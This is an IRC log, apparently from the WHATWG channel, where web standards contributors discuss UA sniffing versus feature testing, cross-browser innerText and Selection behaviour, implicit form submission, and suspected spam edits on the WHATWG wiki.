jgraham: The point is that good advice that can make everyone faster is a good thing.

[09:37:02.0000] <TabAtkins>
This is, unfortunately, more complex than "just UA sniff" or "just feature-test".  But it's faster and more reliable than both.

[09:37:03.0000] <jgraham>
TabAtkins: I don't see how it can be more reliable

[09:38:00.0000] <TabAtkins>
It's exactly as reliable as feature-testing.

[09:38:01.0000] <jgraham>
It is roughly as reliable as the least reliable method

[09:38:02.0000] <jgraham>
No, it must be less reliable

[09:38:03.0000] <TabAtkins>
You skip testing for UAs that you know the capabilities of, but test everyone else.

[09:38:04.0000] <jgraham>
How do you know which UA the user is using?

[09:39:00.0000] <TabAtkins>
By accurate sniffing of the UA string (which is, admittedly, the weak point).

[09:39:01.0000] <jgraham>
UA-string sniffing has a long history of failure

[09:39:02.0000] <jgraham>
even ignoring edge cases like people who fake UA strings

[09:39:03.0000] <TabAtkins>
Note, though, that browser vendors have been advertising "Here's how you should be sniffing our new version" lately.

[09:40:00.0000] <jgraham>
Pointers?

[09:40:01.0000] <TabAtkins>
Sure, let me dig them up.  I know Chrome and Opera have said something in that area.

[09:41:00.0000] <jgraham>
Also, I can imagine this failing if someone doesn't correctly sniff the difference between the mobile and desktop versions of a browser which could have quite different features

[09:41:01.0000] <jgraham>
even with the same version numbers and so on

[09:41:02.0000] <TabAtkins>
Argh, it's hard to find these articles on the web.  I'll keep looking.

[09:41:03.0000] <miketaylr>
(which happens all the time in the wild)

[09:42:00.0000] <TabAtkins>
jgraham: That's theoretically fixable, at least.  I've come to support putting a hash in the UA string.

[09:43:00.0000] <jgraham>
TabAtkins: My general feeling is that it is something that Google might get right (but might get wrong) but that on average people would probably get wrong

[09:43:01.0000] <Philip`>
TabAtkins: If only someone had written a web site to help you find things on the web

[09:43:02.0000] <TabAtkins>
Philip`: THE GOOGLES, THEY DO NOTHING

[09:55:00.0000] <karlcow>
http://www.brucelawson.co.uk/2011/living-standard/

[09:59:00.0000] <jgraham>
karlcow: You should prefix links like that with "Warning: Cliff"

[10:04:00.0000] <Ms2ger>
annevk, your link about Lars's hgroup experiment points to Lachy's comment in whatwg weekly

[10:08:00.0000] <annevk>
wow fail

[10:11:00.0000] <annevk>
more fail that you are the first to notice

[10:12:00.0000] <annevk>
oh, I thought it was a worse fail

[10:12:01.0000] <annevk>
a comment of Lachy in a blog post rather than in the same bug report

[10:13:00.0000] <Ms2ger>
Oh, no, just off by one

[10:13:01.0000] <Ms2ger>
(I guess nobody cares about hgroup)

[10:13:02.0000] <annevk>
the Japanese do

[10:13:03.0000] <annevk>
per twitter anyway

[10:15:00.0000] <annevk>
haha, bruce is great

[10:40:00.0000] <AryehGregor>
Can anyone explain to me why this outputs the empty string to the log in Firefox?  http://software.hixie.ch/utilities/js/live-dom-viewer/saved/815

[10:40:01.0000] <AryehGregor>
Oh, wait, this one does in WebKit too.

[10:41:00.0000] <AryehGregor>
Oh, it has a bug.

[10:41:01.0000] <AryehGregor>
I meant this: http://software.hixie.ch/utilities/js/live-dom-viewer/saved/816

[10:42:00.0000] <AryehGregor>
Hmm, Firefox isn't selecting anything here either . . .

[10:43:00.0000] <AryehGregor>
(visually)

[10:45:00.0000] <AryehGregor>
But if I go to the rendered view as a data URL, it does look visually selected, but still the selection stringifies to nothing . . . ?

[10:45:01.0000] <AryehGregor>
/me decides to work on innerText first

[10:50:00.0000] <Ms2ger>
/me was hoping that would just die

[10:52:00.0000] <TabAtkins>
D'oh, /wc doesn't work on browser windows.

[10:53:00.0000] <AryehGregor>
Ms2ger, WebKit doesn't want it to, so Ian says I should spec it.  It's more useful than textContent, certainly, it's just too bad it's so crazily complicated.

[10:54:00.0000] <Ms2ger>
Still, I want it to die

[10:59:00.0000] <AryehGregor>
Too bad.  :P

[10:59:01.0000] <Ms2ger>
:(

[11:00:00.0000] <annevk>
fixed the error in the post btw

[11:00:01.0000] <Ms2ger>
Thanks

[11:00:02.0000] <annevk>
also pretty great that steve is doing all the additions in the comments

[11:01:00.0000] <annevk>
unless I'd put significantly more time in it it's really quite hard to cover so much

[11:01:01.0000] <Dashiva>
karlcow: Re: the infrequently.org thing, was that guy asleep when Opera 10 was released?

[11:02:00.0000] <TabAtkins>
Dashiva: The proposal is gated on people doing version detection properly.

[11:02:01.0000] <Ms2ger>
Ha. Ha. Ha.

[11:02:02.0000] <Dashiva>
TabAtkins: It's also gated on the assumption that version detection algorithms never change

[11:03:00.0000] <annevk>
AryehGregor, innerText and Selection.toString() probably share some underlying algorithm

[11:03:01.0000] <AryehGregor>
annevk, I'd hope so.

[11:03:02.0000] <AryehGregor>
If not, maybe we could make it do that.

[11:03:03.0000] <annevk>
I wonder how much of copy & paste should be defined in terms of Selection

[11:04:00.0000] <annevk>
I guess that would only cover copying from browsing contexts when there are no plugins involved, but that is still significant

[11:13:00.0000] <AryehGregor>
Hixie, could you please serve X-XSS-Protection: 0 from the Live DOM Viewer?  Otherwise it's unusable in recent IE.

[11:13:01.0000] <AryehGregor>
(Ref: http://blogs.msdn.com/b/ieinternals/archive/2011/01/31/controlling-the-internet-explorer-xss-filter-with-the-x-xss-protection-http-header.aspx)

[11:14:00.0000] <AryehGregor>
Oh, wow, Opera's innerText is useless.

[11:14:01.0000] <AryehGregor>
So I'm just looking at WebKit and IE, then.

[11:20:00.0000] <AryehGregor>
Okay, IE9 works totally differently from IE8 and WebKit . . .

[11:24:00.0000] <AryehGregor>
In IE9, it seems to work mostly like textContent except with different whitespace handling -- in particular, it shows display: none stuff.

[11:25:00.0000] <AryehGregor>
IE8 also handles whitespace totally differently from WebKit.

[11:26:00.0000] <AryehGregor>
Hixie, do you want me to just make something up or what?  There's almost no common ground here.

[11:27:00.0000] <AryehGregor>
WebKit is insane too.  <p> adds two extra newlines, except if the margin is 7px it doesn't but if it's 8px it does, and <div> doesn't add two extra newlines no matter what its margins are . . .

[11:28:00.0000] <AryehGregor>
Although it's a pretty good plaintext approximation to what it looks like.

[11:29:00.0000] <AryehGregor>
WebKit seems to use the same algorithm for Selection's stringifier.

[11:29:01.0000] <Ms2ger>
Fun, isn't it? :)

[11:30:00.0000] <AryehGregor>
Ms2ger, do you know why this logs nothing?  http://software.hixie.ch/utilities/js/live-dom-viewer/saved/816

[11:30:01.0000] <AryehGregor>
It makes it hard to test Selection stringification in Firefox.

[11:30:02.0000] <Hixie>
AryehGregor: in the absence of interop, yeah, just spec the sanest behaviour

[11:33:00.0000] <Ms2ger>
What I know is that it works if you put w(selection.focusNode) right after selection.collapse(el, 0);

[11:33:01.0000] <Ms2ger>
Yay Heisenberg

[11:34:00.0000] <AryehGregor>
. . .

[11:34:01.0000] <AryehGregor>
Okay, well, that works for now, anyway.

[11:35:00.0000] <AryehGregor>
Thanks for the tip.

[11:35:01.0000] <AryehGregor>
Okay, here's some commonality: selection stringification in Gecko and WebKit seem to at least vaguely resemble each other.

[11:37:00.0000] <AryehGregor>
But Firefox appears to ignore most CSS, while most of WebKit's behavior seems determined by CSS.

[11:37:01.0000] <AryehGregor>
(for Selection stringification)

[11:52:00.0000] <heycam>
hsivonen, there is a single page version of SVG 1.1 2ed: http://dev.w3.org/SVG/profiles/1.1F2/publish/single-page.html

[11:53:00.0000] <heycam>
hsivonen, it's linked to just below the list of editors on the front page

[11:54:00.0000] <heycam>
hsivonen, also please do read the second edition spec, it's somewhat better than the first...

[11:56:00.0000] <Ms2ger>
One would hope so

[12:38:00.0000] <jgraham>
AryehGregor: DOM methods that depend on CSS are evil

[12:38:01.0000] <Ms2ger>
Unless Anne defines them

[12:41:00.0000] <jgraham>
Well ones that are specifically for CSS are basically OK

[12:41:01.0000] <jgraham>
but adding unnecessary dependencies between DOM and layout seems bad

[12:42:00.0000] <AryehGregor>
jgraham, it depends on CSS either way, the question is only the extent.

[12:42:01.0000] <AryehGregor>
E.g., innerText of a display:none element is "" in everyone, I'm pretty sure.

[12:42:02.0000] <Ms2ger>
Well, innerText is evil

[12:43:00.0000] <AryehGregor>
That too.

[12:44:00.0000] <jgraham>
/me doesn't think that innerText works like that in Opera

[12:44:01.0000] <jgraham>
and Gecko don't implement it

[12:44:02.0000] <jgraham>
so it is only WebKit and IE

[12:44:03.0000] <AryehGregor>
Actually, not quite.

[12:45:00.0000] <AryehGregor>
Opera's implementation is different, yeah.

[12:45:01.0000] <AryehGregor>
But it's not very interesting either.  You may as well use textContent then.

[12:47:00.0000] <jgraham>
well yeah

[12:47:01.0000] <jgraham>
Ideally innerText would die

[12:48:00.0000] <bfrohs>
Well, when something isn't dying of natural causes, there is always another option ;)

[12:49:00.0000] <Ms2ger>
Apple insists on keeping it in its vegetative state, I'm afraid

[13:08:00.0000] <TabAtkins>
annevk: You around?  Got a question about using CORS to unblock a resource when you can't tell that the resource is SOR-protected before making the request.

[13:08:01.0000] <TabAtkins>
I guess the question is: how?

[13:43:00.0000] <AryehGregor>
Beginning of a spec: http://aryeh.name/spec/innertext/innertext.html

[13:44:00.0000] <AryehGregor>
Proof-of-concept (note that in WebKit the two boxes display almost the same): http://aryeh.name/spec/innertext/test/innerText.html

[13:44:01.0000] <TabAtkins>
Oh man, smallcaps looks horrible on camelcase.

[13:44:02.0000] <AryehGregor>
Yes, it does.

[13:44:03.0000] <AryehGregor>
/me will adapt the test to fall back to Selection stringification in Firefox, since that logically does roughly the same thing

[13:49:00.0000] <TabAtkins>
Hixie: Where are the templates for the specs again?  I apparently didn't bookmark them last time, and I'm being requested to generate new versions of some specs.

[14:08:00.0000] <Hixie>
TabAtkins: templates?

[14:08:01.0000] <Hixie>
TabAtkins: oh, the header boilerplate?

[14:08:02.0000] <TabAtkins>
Hixie: Yeah.

[14:08:03.0000] <Hixie>
TabAtkins: http://dev.w3.org/html5/boilerplate/ then tell me to regen

[14:08:04.0000] <TabAtkins>
kk

[14:50:00.0000] <matjas>
Should implicit form submission work in this case? <form><input><input><input></form>

[14:50:01.0000] <TabAtkins>
Why wouldn't it?

[14:50:02.0000] <matjas>
Reading the spec, I’d say yes, but it doesn’t work in Opera or WebKit

[14:50:03.0000] <matjas>
And WebKit even has a layout test for this exact situation

[14:51:00.0000] <matjas>
I guess the layout test is flawed then?

[14:51:01.0000] <TabAtkins>
Not sure, as I haven't read that section of the spec in a long time.

[14:51:02.0000] <TabAtkins>
But if the spec says otherwise, then yeah.

[14:51:03.0000] <matjas>
http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#implicit-submission

[14:52:00.0000] <TabAtkins>
Yeah, I don't see anything that would restrict it.

[14:52:01.0000] <TabAtkins>
Though, wait...

[14:53:00.0000] <matjas>
Doesn’t work in Firefox either

[14:53:01.0000] <matjas>
Presumably not in IE either since the WebKit layout tests would mention it otherwise

[14:53:02.0000] <matjas>
Am I missing something?

[14:54:00.0000] <TabAtkins>
I'm wondering if the fact that it contains no data is stopping it.

[14:54:01.0000] <matjas>
That shouldn't matter; also it doesn't seem to influence the other relevant layout tests

[14:54:02.0000] <matjas>
ping Hixie ^

[14:54:03.0000] <Hixie>
hey

[14:54:04.0000] <Hixie>
sup

[14:55:00.0000] <matjas>
Should implicit form submission work in this case? <form><input><input><input></form>

[14:55:01.0000] <matjas>
I don’t see anything in the spec that would restrict it

[14:55:02.0000] <Hixie>
/me looks at the spec

[14:55:03.0000] <matjas>
But browsers seem to restrict it anyways for some reason

[14:55:04.0000] <webr3>
/me waves good bye to ipv4 http://inetcore.com/project/ipv4ec/index_en.html

[14:55:05.0000] <matjas>
(Only if there are multiple inputs)

[14:55:06.0000] <Hixie>
sure, why would it not?

[14:55:07.0000] <Hixie>
spec seems unambiguous here

[14:56:00.0000] <Hixie>
what's unclear?

[14:56:01.0000] <jamesr__>
WebKit layout tests are sometimes more to document behavior so we can know if we accidentally change it. they don't always reflect the behavior we wish WebKit had

[14:56:02.0000] <matjas>
jamesr__ I believe in this case it's just to mimic IE and Fx’s behavior

[14:58:00.0000] <jamesr__>
ok. now prove that following the spec will not break websites and we can all change behavior to match it :)

[14:59:00.0000] <jamesr__>
(that suggestion is half tongue in cheek, i know it's not generally possible to determine if a change will break the web)

[15:00:00.0000] <dglazkov>
matjas: as the author of the test, I'll tell you that this is simulating IE behavior

[15:00:01.0000] <dglazkov>
matjas: and most of the browsers' behavior

[15:00:02.0000] <dglazkov>
matjas: and that I bugged Hixie about adding this to spec, but he said meh.

[15:01:00.0000] <matjas>
dglazkov: so what exactly is making the difference here? The fact that there are multiple inputs?

[15:01:01.0000] <dglazkov>
matjas: yup

[15:01:02.0000] <matjas>
dglazkov: Multiple *text* inputs?

[15:02:00.0000] <dglazkov>
matjas: yup

[15:02:01.0000] <matjas>
Browsers are weird.

[15:02:02.0000] <matjas>
Thanks for clarifying dglazkov!

[15:02:03.0000] <dglazkov>
matjas: browsers suck

[15:03:00.0000] <dglazkov>
matjas: http://google.com/codesearch/p#OAMlx_jo-ck/src/third_party/WebKit/Source/WebCore/html/HTMLFormElement.cpp&l=193

[15:03:01.0000] <dglazkov>
matjas: this is the line that regulates the behavior. If you only have _1_ text input.

[15:03:02.0000] <paul_irish>
TabAtkins: https://github.com/LearnBoost/stylus/blob/master/docs/compare.md

[15:04:00.0000] <dglazkov>
matjas: but the fact that browsers suck is not a secret

[15:04:01.0000] <matjas>
dglazkov: Yeah, that’s the code I’ve been looking at the past few days :) Was just wondering *why* it was like that, as it’s not documented as far as I can see.

[15:05:00.0000] <dglazkov>
the secret is that interwebs suck. They write code for buggy old browsers and then all new browsers have to adjust their behavior to support their stupid buggy code.

[15:05:01.0000] <dglazkov>
matjas: use svn blame :)

[15:05:02.0000] <dglazkov>
matjas: or git blame

[15:05:03.0000] <dglazkov>
stupid interwebs.

[15:06:00.0000] <TabAtkins>
paul_irish: Already out of date, unfortunately, since they apparently based it off of my slide deck.

[15:06:01.0000] <matjas>
interwebs--

[15:06:02.0000] <dglazkov>
that's why you always have to bet on a smaller, more refined, closed platform that has simpler and more elegant APIs and rabid fan base.

[15:07:00.0000] <dglazkov>
like Amiga.

[15:22:00.0000] <bga_>
why label:checked doesnt possible? it will be very usefull

[15:22:01.0000] <AryehGregor>
What?

[15:22:02.0000] <Hixie>
labels don't get checked?

[15:22:03.0000] <bga_>
label will share state of input

[15:23:00.0000] <Hixie>
better to just add :matches() support

[15:23:01.0000] <TabAtkins>
And/or support for following idrefs.

[15:23:02.0000] <Hixie>
label:matches(#>:checked)

[15:23:03.0000] <Hixie>
label /for/ :checked

[15:23:04.0000] <Hixie>
ah, man, i suggested all these things about 10 years ago now

[15:23:05.0000] <TabAtkins>
Yup.

[15:23:06.0000] <bga_>
yeah. it will be good

[15:27:00.0000] <annevk>
agreed that what RobS added is spam? http://wiki.whatwg.org/wiki/Special:RecentChanges

[15:28:00.0000] <Hixie>
not entirely spam

[15:28:01.0000] <Hixie>
i had a look

[15:28:02.0000] <Hixie>
the site is a bit, um, reminiscent of my style sense

[15:28:03.0000] <Hixie>
might make sense to separate the list into those really good ones and "others"...

[15:29:00.0000] <Hixie>
the content seems on par with w3schools.com

[15:30:00.0000] <TabAtkins>
Which means "spam".

[15:30:01.0000] <annevk>
I guess you are right

[15:30:02.0000] <annevk>
there does not seem to be advertising

[15:30:03.0000] <annevk>
just feels a bit dodgy

[15:31:00.0000] <annevk>
and the about and contact pages are 404

[15:33:00.0000] <Hixie>
/me is thinking maybe the right solution to the rel registry problem is just to have a living standard for rel values

[15:34:00.0000] <webr3>
/me wonders why, if the html spec is already a living standard, and the rels are described in it, it already is a living standard

[15:34:01.0000] <Hixie>
most of the rels are in the wiki at the moment

[15:35:00.0000] <annevk>
not all rels are described by it at the moment

[15:35:01.0000] <annevk>
my idea is the same for legacy encodings

[15:35:02.0000] <annevk>
except that I want it to die

[15:35:03.0000] <webr3>
.. so add them to the standard and describe them..? they're either valid for use or not

[15:35:04.0000] <annevk>
that is, remain stable indefinitely

[15:38:00.0000] <annevk>
Hixie, "an value"

[15:38:01.0000] <Hixie>
crap

[15:38:02.0000] <Hixie>
thanks

[15:42:00.0000] <hober>
hmm. a couple recent edits on the wiki link to (identically-horrible looking) websites like "namespaces.com" and "html-5.com" that look spammy

[15:43:00.0000] <annevk>
see above

[15:45:00.0000] <hober>
farther above than in my irc client backlog, I guess. /me goes to the logs

[15:46:00.0000] <annevk>
see the bit starting seventeen minutes ago

[15:46:01.0000] <TabAtkins>
It should be *just* above what you said, hober.

[15:48:00.0000] <hober>
ahh, thanks. yes, there you go.

[15:52:00.0000] <hober>
I think it's dodgier than w3schools

[15:53:00.0000] <hober>
w3schools at least has the decency to stick to one domain name, instead of serving up crappy content on N of them

[15:54:00.0000] <annevk>
the content does seem unique

[15:57:00.0000] <annevk>
and http://www.accilent.com/ says Mr Simpson which matches RobS

[15:57:01.0000] <annevk>
and matches the style more or less

[15:57:02.0000] <TabAtkins>
The overflowing heading matches, definitely.